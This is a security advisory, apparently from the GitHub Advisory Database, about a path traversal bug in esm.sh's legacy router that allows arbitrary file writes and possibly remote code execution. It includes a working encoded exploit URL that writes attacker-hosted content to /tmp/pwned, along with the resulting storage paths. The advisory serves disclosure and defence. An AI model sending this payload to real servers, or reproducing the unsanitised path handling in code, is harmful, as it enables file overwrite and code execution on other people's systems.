esm.sh: Legacy Route Path Traversal Can Lead to RCE

### Impact - Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for. - Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges. ### Exploit The legacy router first retrieves a response from `legacyServer`, parses the incoming request path, and ultimately writes the data to storage via `buildStorage.Put` (see <https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291>). For a URL such as: ``` http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned ``` the router concatenates the path components without sanitizing them, producing a storage key like: ``` legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned ``` When this key is used, the underlying file system resolves the relative segments and writes the file to `/tmp/pwned`. Thus an attacker can craft a request that writes data to arbitrary locations on the server. ### Details 1. **URL Construction** A crafted request is sent to the server: ``` http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned ``` 2. **Proxy to Legacy Server** The request is forwarded to: ``` http://legacy.esm.sh/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned ``` which resolves to: ``` http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md ``` 3. **File Retrieval** The server fetches `foo.md` from the GitHub repository `https://github.com/<attacker>/exp`. 4. **Path Normalisation & Storage** The storage path derived from the request is: ``` legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned ``` Normalising this path yields `/tmp/pwned`. The retrieved file content is then written to that location. 5. **Result** By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution. ### Credit Discovery To splitline (@\_splitline\_) from DEVCORE Research Team

Source published

12 May 2026 22:22:39 UTC

Source modified

25 Jun 2026 18:56:35 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Publisher rating · HIGH